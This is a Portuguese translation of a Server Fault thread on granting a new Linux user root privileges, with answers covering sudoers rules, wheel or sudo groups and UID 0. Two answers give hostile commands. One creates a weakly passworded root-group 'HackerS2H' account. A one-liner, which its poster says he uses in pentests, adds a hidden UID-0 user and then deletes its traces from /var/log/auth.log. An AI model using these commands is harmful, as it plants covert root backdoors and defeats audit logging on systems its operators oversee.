adicionar novo usuário com acesso root no Linux

31

Quero adicionar um novo usuário e conceder / conceder a esse novo usuário todo o acesso root, como posso fazer isso?

Eu fiz, sudo adduser --system testusermas isso não está funcionando como eu esperava.

Obrigado pela ajuda.

seg.server.fault
fonte

Respostas:

62

Na verdade, existem três maneiras de fazer isso: o caminho certo, o errado e o feio.

Primeiro, crie uma conta de usuário normal .

adduser username

Em seguida, selecione um dos seguintes:


O Caminho Certo

Crie uma sudoentrada para o wheelgrupo da /etc/sudoersseguinte maneira:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

Ou para versões "modernas":

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

Em seguida, adicione o usuário ao wheelgrupo. Adicionar e remover usuários com privilégios administrativos agora se torna uma função de lembrar de adicioná-los ao wheel, em vez de criar uma entrada no sudo. A grande vantagem do uso do wheel é que você pode estender esse mecanismo para outros esquemas de autenticação que suportam grupos, como o winbind / Active Directory, e colher os benefícios do processo. Você faria isso mapeando a roda para um grupo em seu esquema de autenticação que tenha privilégios de administrador.

Observe que algumas distribuições usam contas administrativas diferentes. Roda é uma abordagem "tradicional" para isso, mas você pode encontrar admin, adme outras contas de grupo que têm a mesma finalidade.

Acompanhamento Editar:

Eu tenho que citar Bart Silverstrim por apontar que o Ubuntu usa admincomo grupo para esse fim. Ele chegou a isso primeiro, embora eu não tenha notado uma tag do Ubuntu na época. Novamente, tudo depende de qual distribuição você está usando.


O Caminho Feio

Crie uma entrada sudo para a conta de usuário em questão e dê acesso completo. Novamente, você cria a entrada da /etc/sudoersseguinte maneira:

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

ADICIONADO: ## Para a versão do Ubuntu: nome de usuário ALL = (ALL: ALL)

Isso é ótimo se você tiver apenas uma (ou duas) contas normais. É feio quando você tem cem contas em vários sites (geofísicos) e precisa manter constantemente o arquivo sudo.


O caminho errado

Você pode editar o /etc/passwdarquivo e alterar o ID da conta do usuário de qualquer número que seja, para 0. Isso mesmo, zero .

username:x:0:502::/home/username:/bin/bash

Vê essa terceira entrada como zero? Ao fazer login nessa conta, você é, para todos os fins efetivos root,. Eu não recomendo isso. Se você não se lembrar de "quem" você é, poderá criar todo tipo de confusão ao começar a criar e tocar em arquivos como root. Você também pode adicionar seu nome de usuário ao rootgrupo. Isso tem o mesmo efeito para o acesso a arquivos, mas cria outros problemas; os programas notarão que você não é usuário root e se recusam a executar, mas você terá acesso a arquivos que pertencem ao grupo root .

Se você fez isso, usou em vipwvez de apenas editar vi, certo? (ou qualquer que seja o seu editor de texto favorito) Afinal, um único erro de digitação neste arquivo pode impedir você de sair do sistema - e isso significa uma visita física ao computador em questão com um disco de reparo ...

Avery Payne
fonte
2
Eu nem sequer documentaria o caminho errado. Tabu demais.
elcuco
15
Discordo. Se você esconde o errado, ele não desaparece, apenas fere - e, às vezes, o conhecimento de que algo é proibido atrai mais atenção do que deveria. Melhor entender por que é tabu. Especialmente quando há circunstâncias (reconhecidamente raras) em que você pode precisar desse conhecimento. Ainda assim, vou lhe dar um ponto para apontar o quão realmente as coisas podem ser ruins. :)
Avery Payne
11
"Afinal, um único erro de digitação neste arquivo pode impedi-lo de sair do seu sistema" - não, ele pode impedi-lo após você desconectar todas as sessões do Putty (supondo que você use o Putty). Contanto que você não desconecte, mas apenas abra outra sessão para testar suas configurações, você está bem nesse aspecto.
quamis
11
@quamis - true. Embora eu estivesse tentando apontar o perigo em assumir que é seguro "disparar e esquecer". :) Um ponto para você também, para apontar boas práticas - sempre teste as configurações posteriormente .
Avery Payne
11
Gostaria apenas de observar que o que era tradicionalmente o grupo 'wheel' (com elevação binária no nível da bandeira) no Unix não é mais um termo comum para o grupo de usuários que podem elevar com o sudo. De acordo com minha experiência, o nome mais comum do grupo de pessoas que podem sudo atualmente é normalmente 'sudoers' e já está configurado na maioria dos sistemas.
Bojan Markovic 10/10
3

Uso isso há anos e é a maneira # 1 recomendada para adicionar um sudoer no AskUbuntu :

adduser existinguser sudo

Muito mais simples do que editar arquivos e fácil de lançar em um shell script para instalação autônoma.

Se você deseja criar o usuário e conceder privilégios de sudo, você pode fazer isso em uma linha como esta:

useradd newuser -m -G sudo
passwd newuser

-mcriou um diretório inicial e -Gespecifica um grupo suplementar.

Dan Dascalescu
fonte
2

e com isso é 100%:

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

e conectar com putty e servidor ip

hacker-s2h
fonte
1

Bem, você pode criar usuário com adduser, veja man adduser.
Depois você pode adicioná-lo ao grupo privilegiado, como root ou wheel. Mas acho que a maneira mais recomendada de obter alguma permissão é usando o sudo.

Ali Mezgani
fonte
1

você pode executar:

#useradd -m -g root alex

ele cria um usuário Alex com um diretório inicial que pertence ao grupo raiz

Razique
fonte
1

Além da resposta de Avery Payne: no Ubuntu, você pode querer assim:

%sudo   ALL=(ALL:ALL) ALL

E não é assim:

%sudo    ALL=(ALL) ALL
hukeping
fonte
0

A maneira "feia e confusa" é editar / etc / passwd para ter UID = 0 AND GID = 0 para o novo usuário. Mas isso representa muitos riscos à segurança . Você sabe que se ele também é root, ele pode desativar sua conta, alterar sua senha, torná-lo um "usuário padrão" ... certo? então por que não dar a ele sua própria conta?

Você pode estudar o funcionamento do suid ( http://en.wikipedia.org/wiki/Setuid ) se quiser conceder a ele acesso root a apenas alguns dos comandos.

quamis
fonte
-1

Aqui está uma lista:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

melhor,

Boschko
fonte
11
Adicionar usuários adicionais com o uid 0 não é uma boa ideia ... veja a resposta com mais votos para obter detalhes.
Gerald Schneider
@GeraldSchneider Eu nunca disse que era uma boa idéia ... Estou bem ciente ... e honestamente não é da nossa conta. É um liner, use-o em pentests o tempo todo. Atenciosamente
Boschko 14/11